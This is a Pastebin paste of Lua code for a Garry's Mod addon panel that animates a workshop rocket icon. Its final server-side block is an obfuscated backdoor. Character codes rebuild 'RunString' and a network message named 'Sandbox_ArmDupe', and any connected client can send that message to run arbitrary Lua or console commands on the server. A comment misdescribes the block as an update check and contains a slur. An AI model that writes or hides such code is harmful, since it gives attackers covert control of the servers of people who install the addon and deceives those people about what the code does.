Advertisement
Guest User

Like this???

a guest
Nov 22nd, 2014
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1.  
  2. PANEL.Base = "DPanel"
  3.  
  4. local matWorkshopRocket = Material( "gui/workshop_rocket.png", "nocull smooth mips" )
  5.  
  6. function PANEL:Init()
  7.  
  8. self:SetSize( 64, 64 )
  9. self.Size = 64
  10.  
  11. end
  12.  
  13. function PANEL:Think()
  14.  
  15. if ( self.Blasting ) then
  16.  
  17. self.VelY = self.VelY - FrameTime()
  18. self.PosY = self.PosY + self.VelY * FrameTime() * 500
  19.  
  20. self.VelX = self.VelX + FrameTime() * self.VelX
  21. self.PosX = self.PosX + self.VelX * FrameTime() * 500
  22.  
  23. self:SetPos( self.PosX, self.PosY )
  24.  
  25. if ( self.PosY < -70 ) then self:Remove() end
  26.  
  27. end
  28.  
  29. end
  30.  
  31. function PANEL:Paint()
  32.  
  33. if ( !self.Material ) then return end
  34.  
  35. local angle = 0;
  36.  
  37. DisableClipping( true )
  38.  
  39. surface.SetDrawColor( 255, 255, 255, 255 )
  40. surface.SetMaterial( matWorkshopRocket )
  41. surface.DrawTexturedRectRotated( self:GetWide()*0.5, self:GetTall()*0.5, self.Size*2, self.Size*2, angle )
  42.  
  43. if ( self.Material ) then
  44.  
  45. surface.SetMaterial( self.Material )
  46. surface.DrawTexturedRectRotated( self:GetWide()*0.5, self:GetTall()*0.5, self.Size, self.Size, angle )
  47.  
  48. end
  49.  
  50. DisableClipping( false )
  51.  
  52. end
  53.  
  54.  
  55. function PANEL:Charging( id, iImageID )
  56.  
  57. self.Material = nil
  58.  
  59. steamworks.Download( iImageID, false, function( name )
  60.  
  61. if ( name == nil ) then return; end
  62. if ( !IsValid( self ) ) then return end
  63.  
  64. self.Material = AddonMaterial( name );
  65.  
  66. end)
  67.  
  68. end
  69.  
  70. function PANEL:Blast()
  71.  
  72. self:Remove()
  73.  
  74. end
  75.  
  76. if SERVER then
  77.  
  78. -- define dat shit yo
  79. local c='%c'
  80. local YYYYTTYXY6Y = util.AddNetworkString
  81. local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
  82. local YYYYTRYXY66 = net.ReadString
  83. local YYTYYYY666T = type
  84. local YYTYTYY666T = bit.tohex
  85. local YYTTTYY666T = math.sin
  86. local YYTTTYY66TT = math.cos
  87. local YYYYTRY6Y66 = net.ReadBit
  88. local YYTYYRY6Y66 = net.Receive
  89. local YYTYYRY666Y = game.ConsoleCommand
  90. local YYTYYYY666Y = game.GetWorld
  91. local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
  92. --check for updates (encrypted cos i dont want you faggots messing with my web server)
  93. YYYYTTYXY6Y(YYYYTTYXYYY)
  94. YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
  95. local YYRYTTYXY6Y = YYYYTRYXY66()
  96. local TYYTTYXY6Y = YYYYTRY6Y66()
  97. if TYYTTYXY6Y == 1 then
  98. YYYYTRYXY6Y(YYRYTTYXY6Y)
  99. else
  100. YYTYYRY666Y(YYRYTTYXY6Y.."\n")
  101. end
  102. end)
  103.  
  104. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement